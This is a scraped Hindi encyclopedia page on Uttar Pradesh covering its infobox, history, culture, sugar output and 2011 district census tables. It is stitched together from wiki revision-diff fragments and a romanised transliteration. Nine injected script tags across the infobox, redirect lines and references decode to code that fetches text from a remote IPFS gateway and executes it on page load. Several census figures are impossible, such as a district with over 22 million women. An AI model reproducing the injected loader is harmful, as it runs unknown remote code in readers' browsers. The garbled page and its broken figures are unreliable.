गई। चीनी सीजन 2020-2021 की मुख्य बात यह है कि इस सीजन में चीनी की रिकवरी कम रही। उद्योग के विशेषज्ञों का अनुमान है कि पिछले सीजन की तुलना में रिकवरी 0.50 प्रतिशत कम हो सकती है'।<ref name="pp">{{cite web |url=https://www.chinimandi.com/reduction-in-sugar-production-in-uttar-pradesh-in-hindi/ |title=उत्तर प्रदेश में चीनी उत्पादन में कमी|accessmonthday=24 मार्च|accessyear=2020 |last= |first= |authorlink= |format= |publisher=chinimandi.com |language=हिंदी}}</ref>
 
==आँकड़े==
 
==आँकड़े==
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<div style="height: 400px; overflow:auto; overflow-x: hidden; border:thin solid #aaa; width:360px">
 
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|+जनगणना 2011 का उत्तर प्रदेश में ज़िलावार पुरुष, महिला संख्या का आँकड़ा  
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|+ जनगणना 2011 का उत्तर प्रदेश में ज़िलावार पुरुष, महिला संख्या का आँकड़ा  
 
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! ज़िला  
 
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|22,864,839
 
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| रामपुर
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| बागपत
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|13,02,156
 
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| [[गाजियाबाद]]
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| [[ग़ाज़ियाबाद]]
 
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|21,69,649
 
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| गौतमबुद्धनगर
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| गौतमबुद्ध नगर
 
|16,74,714
 
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| बुलंदशहर
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| [[बुलंदशहर]]
 
|34,98,507
 
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|17,15,313
 
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| महामायानगर
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| [[हाथरस]]
 
|15,65,678
 
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|08,37,746
 
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|11,59,620
 
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| मैनपुरी
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|18,47,194
 
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|20,93,890
 
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| पीलीभीत
+
| [[पीलीभीत]]
 
|20,37,225
 
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|10,78,525
 
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|18,86,852
 
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| सीतापुर
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| [[सीतापुर]]
 
|44,74,446
 
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|23,80,666
 
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|20,93,780
 
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| हरदोई
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| [[हरदोई]]
 
|40,91,380
 
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|22,04,264
 
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|16,50,660
 
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| फरुखाबाद
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| फ़रुख़ाबाद
 
|18,87,577
 
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|07,75,459
 
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| ओरैया
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| [[ओरैया]]
 
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|04,63,525
 
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|-
 
|-
| फतेहपुर
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| फ़तेहपुर
 
|26,32,684
 
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|13,85,556
 
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|28,26,319
 
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|-
 
|-
| बाराबंकी
+
| [[बाराबंकी]]
 
|32,57,983
 
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|17,07,951
 
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|15,50,032
 
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|-
 
|-
| फैजाबाद
+
| [[फैजाबाद]]
 
|24,68,371
 
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|12,58,455
 
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|12,09,916
 
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| अम्बेडकरनगर
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| अम्बेडकर नगर
 
|23,98,909
 
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|12,14,225
 
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|05,20,297
 
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|-
 
|-
| बलरामपुर
+
| [[बलरामपुर]]
 
|21,49,066
 
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|11,17,984
 
|11,17,984
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|12,04,898
 
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|-
| संतकबीरनगर
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| संतकबीर नगर
 
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|17,39,588
 
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|-
| देवरिया
+
| [[देवरिया]]
 
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| [[आजमगढ़]]
 
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| [[मऊ]]
 
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| [[बलिया]]
 
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| गाजीपुर
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==टीका टिप्पणी और संदर्भ==
 
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==संबंधित लेख==
 
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Latest revision as of 12:40, 24 March 2021

uttar pradesh vishay soochi
uttar pradesh    itihas    bhoogol    yatayat    arthavyavastha    prashasan    kala    krishi    sanskriti    udyog    shiksha    paryatan
uttar pradesh
rajadhani lakhanoo
rajabhasha(ean) hindi bhasha, urdoo bhasha
sthapana 12 janavari, 1950
janasankhya 19,95,81,477[1][2]
· ghanatv 828[2] /varg kimi
kshetraphal 2,40,928 varg kimi
jalavayu ushnadeshiy manasoon
tapaman 31 °C
· grishm 46 °C
· sharad 5°C
mandal 18
zile 75[2]
sabase b da nagar kanapur
mahanagar kanapur
b de nagar lakhanoo, ilahabad, agara, merath, varanasi, gaziyabad, kanapur
mukhy aitihasik sthal varanasi, agara, ilahabad, kannauj, kushinagar, kaushambi, chitrakoot, jhaansi, faizabad, merath, mathura
mukhy paryatan sthal mathura, vrindavan, agara, varanasi, ayodhya, chitrakoot, fatehapur sikari, saranath, shravasti, kushinagar
mukhy dharm-sampraday hindoo, islam, eesaee, bauddh, jain evan any
liang anupat 1000:908[2] ♂/♀
saksharata 69.72%
· stri 59.26%
· purush 79.24%
uchch nyayalay ilahabad
rajyapal anandiben patel
mukhyamantri yogi adityanath[3]
upamukhyamantri 1. keshav prasad maury

2. dinesh sharma

vidhanasabha sadasy 404
vidhan parishad sadasy 100
lokasabha kshetr 80
rajyasabha sadasy 30
bahari k diyaan adhikarik vebasait
adyatan‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttar pradesh bharat ki janasankhya ke adhar par sabase b da rajy hai. lakhanoo pradesh ki prashasanik rajadhani aur ilahabad nyayik rajadhani hai. uttar pradesh ke doosare mahattvapoorn nagar- agara, mathura, aligadh, ayodhya, bareli, merath, varanasi (banaras), gorakhapur, gaziyabad, muradabad, saharanapur, faizabad aur kanapur adi haian. is rajy ke p dosi rajy haian- uttaraanchal, himachal pradesh, hariyana, dilli, rajasthan, madhy pradesh, chhattisagadh, jharakhand aur bihar. uttar pradesh ki poorvottar disha mean nepal desh hai. uttar pradesh ka kshetraphal 2,40,927 varg ki.mi. hai. yah bharat ka sarvadhik janasankhya vala rajy hai. 9 navambar, 2000 ko isamean se alag karake uttaraanchal rajy ka gathan kiya gaya tha. 26 janavari, 1950 ko bharat ke ganatantr banane par rajy ko apana vartaman nam "uttar pradesh" mila tha. uttar pradesh bharat ka pratham rajy hai, jahaan koee mahila mukhyamantri niyukt huee thi. sucheta kripalani is pradesh ki hi nahian apitu bharat ke kisi rajy mean mukhyamantri banane vali pratham mahila thian.

sarvadhik abadi vala pradesh

uttar pradesh saghan abadi vale ganga nadi aur yamuna nadi ke maidan mean basa hai. lagabhag 16 karo d ki janasankhya ke sath uttar pradesh keval bharat hi nahian, balki vishv ki sarvadhik abadi vala uparashtriy pradesh hai. samooche vishv ke sirf paanch rashtroan chin, bharat, sanyukt amarika, iandonishiya aur brazil ki janasankhya hi uttar-pradesh ki janasankhya se adhik hai. uttar pradesh ka bharatiy evan hindoo dharm ke itihas mean bahut yogadan hai. uttar pradesh adhunik itihas aur rajaniti ka sadaiv se kendr bindu raha hai. yahaan ke nivasiyoan ne svatantrata sangram andolan mean pramukh bhoomika nibhayi thi. ilahabad shahar mean vikhyat netaoan- motilal neharoo, purushottamadas tandan aur lalabahadur shastri adi pramukh netaoan ka ghar tha. yah pradesh, desh ke ath pradhanamantriyoan- javaharalal neharoo, iandira gaandhi, lalabahadur shastri, chaudhari charan sianh, vishvanath pratap sianh, chandrashekhar sianh, rajiv gaandhi aur atal bihari vajapeyi ka chunav kshetr bhi raha hai.

  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

saanskritik jivan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttar pradesh hinduoan ki prachin sabhyata ka udagam sthal hai. vaidik sahity mahakavy ramayan aur mahabharat (jisamean shrimadbhagavadagita shamil hai) ke ullekhaniy hissoan ka mool yahaan ke kee ashramoan mean hai. bauddh-hindoo kal (lagabhag 600 ee. poo.-1200 ee.) ke granthoan v vastushilp ne bharatiy saanskritik virasat mean b da yogadan diya hai. 1947 ke bad se bharat sarakar ka chihn maury samrat ashok ke dvara banavae ge char sianh yukt stambh (varanasi ke nikat saranath mean sthit) par adharit hai.

paryatan sthal

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttar pradesh mean sabhi ke lie akarshan ki kee chizean haian.

chini utpadan

uttar pradesh mean chini ka utpadan varsh 2020 mean 122.28 lakh tan raha, jo ab tak ka sabase uancha star tha. isase pahale uttar pradesh mean 2017-2018 ke dauran chini ka utpadan 120.45 lakh tan hua tha.

ab chini utpadan mean kami aee hai. yoopi shugar mils esosieshan (yoopieseme) ke anusar- 'chini miloan ne ab tak tak 611 lakh tan ganne ki peraee karake 63 lakh tan chini ka utpadan kiya hai. ausat rikavari ghatane se uttar pradesh mean is sijan mean chini utpadan ghatane ki sanbhavana jataee ja rahi hai. yoopieseme ke ek bayan ke anusar, chini mausam 2020-2021 ki shuruat aktoobar ke aant mean huee aur k aaurporet, sahakari aur rajy chini nigam sahit 120 chini miloan ne peraee shuroo kar di. navanbar madhy tak lagabhag sabhi chini miloan ne ganna peraee shuroo kar di aur 12 faravari tak chini ka utpadan 611 lakh tan ganne ki peraee karake 63 lakh tan chini utpadan hasil kiya gaya. pichhale varsh isi avadhi mean 584 lakh tan ganne ki peraee huee thi aur 64 lakh tan chini ka utpadan hua tha. jabaki pichhale sijan ki isi avadhi mean 10.96 pratishat ki tulana mean chaloo sijan ke lie 10.29 pratishat ki ausat rikavari darj ki gee. chini sijan 2020-2021 ki mukhy bat yah hai ki is sijan mean chini ki rikavari kam rahi. udyog ke visheshajnoan ka anuman hai ki pichhale sijan ki tulana mean rikavari 0.50 pratishat kam ho sakati hai'.[4]

aank de

janaganana 2011 ka uttar pradesh mean zilavar purush, mahila sankhya ka aank da
zila kul abadi purush mahila
saharanapur 34,64,228 18,35,740 16,28,488
mujaffaranagar 41,38,605 21,94,540 19,44,065
bijanaur 36,83,896 19,25,787 17,58,109
muradabad 47,73,138 25,08,299 22,864,839
ramapur 23,35,398 12,26,175 11,09,223
jyotiba phule nagar 18,38,771 09,64,319 08,74,452
merath 34,47,405 18,29,192 16,18,223
bagapat 13,02,156 07,00,724 06,01,432
gaziyabad 46,61,452 24,81,803 21,69,649
gautamabuddh nagar 16,74,714 09,04,505 07,70,209
bulandashahar 34,98,507 18,48,643 16,49,864
aligadh 36,73,849 19,58,536 17,15,313
hatharas 15,65,678 08,37,746 07,28,232
mathura 25,41,894 13,68,445 11,73,449
agara 43,80,793 23,56,104 20,24,689
firozabad 24,96,761 13,37,141 11,59,620
mainapuri 18,47,194 09,84,892 08,62,302
badayooan 37,12,738 19,97,242 17,15,496
bareli 44,65,344 23,71,454 20,93,890
pilibhit 20,37,225 10,78,525 09,58,700
shahajahaanpur 30,02,376 16,10,182 13,92,194
khiri 40,13,634 21,26,782 18,86,852
sitapur 44,74,446 23,80,666 20,93,780
haradoee 40,91,380 22,04,264 18,87,116
unnav 31,10,595 16,36,295 14,74,300
lakhanoo 45,88,455 24,07,897 21,80,558
rayabareli 34,04,004 17,53,344 16,50,660
farukhabad 18,87,577 10,07,479 08,80,098
kannauj 16,58,005 08,82,546 07,75,459
itava 15,79,160 08,45,893 07,75,459
oraiya 13,72,287 07,36,144 06,36,143
kanapur dehat 17,95,092 09,64,284 08,30,808
kanapur nagar 45,72,951 24,69,114 21,03,837
jalaun 16,70,718 08,95,804 07,74,914
jhaansi 20,00,755 10,61,310 09,39,445
lalitapur 12,18,002 06,39,392 05,78,610
hamirapur 11,04,021 05,93,576 05,10,445
mahoba 08,76,055 04,65,437 04,10,118
baanda 17,99,541 09,66,123 08,33,418
chitrakoot 09,90,626 05,27,101 04,63,525
fatehapur 26,32,684 13,85,556 12,47,128
pratapagadh 31,73,752 15,91,480 15,82,272
kaushaanbi 51,96,909 08,38,095 07,58,814
ilahabad 59,59,798 31,33,479 28,26,319
barabanki 32,57,983 17,07,951 15,50,032
phaijabad 24,68,371 12,58,455 12,09,916
ambedakar nagar 23,98,909 12,14,225 11,84,484
sultanapur 37,90,922 190,16,297 18,74,625
baharaich 34,78,257 18,38,988 16,39,269
shravasti 11,14,615 05,94,318 05,20,297
balaramapur 21,49,066 11,17,984 10,31,082
gonda 34,31,386 17,85,629 16,45,757
siddharthanagar 25,53,526 12,96,046 12,57,480
basti 24,61,056 12,56,158 12,04,898
santakabir nagar 17,14,300 08,70,547 08,43,753
maharajaganj 26,65,292 13,75,367 12,89,925
gorakhapur 44,36,275 22,81,763 21,54,512
kushinagar 35,60,830 18,21,242 17,39,588
devariya 30,98,637 15,39,608 15,59,029
ajamagadh 46,16,509 22,89,336 23,27,173
moo 22,05,170 11,14,888 10,90,282
baliya 32,23,642 16,67,557 15,56,085
jaunapur 44,76,072 22,17,635 22,58,437
gazipur 36,22,727 18,56,584 17,66,143
chandauli 19,52,713 10,20,789 09,31,924
varanasi 36,82194 19,28,641 17,53,553
sant ravidas nagar 15,54,203 07,97,164 07,57,039
mirzapur 24,94,533 13,12,822 11,81,711
sonabhadr 18,62,612 09,73,480 08,89,132
eta 17,61,152 09,45,157 08,15,995
kaanshiramanagar 14,38,156 07,65,529 06,72,627


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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vithika

[[chitr:Fatehpur-Sikri-Agra-2.jpg|x200px|alt=fatehapur sikari|shekh salim chishti ki daragah (fatehapur sikari) ka vihangam drishy
Panoramic View Of Shekh Salim Chishti Shrine (Fatehpur Sikri)]]
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Panoramic View Of Shekh Salim Chishti Shrine (Fatehpur Sikri)

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tika tippani aur sandarbh

  1. 2011 ke anusar
  2. 2.0 2.1 2.2 2.3 Statistics Of Uttar Pradesh (hiandi) adhikarik vebasait. abhigaman tithi: 16 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. uttar pradesh sarakar (hindi) uttar pradesh ki adhikarik vebasait. abhigaman tithi: 16 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. uttar pradesh mean chini utpadan mean kami (hiandi) chinimandi.com. abhigaman tithi: 24 march, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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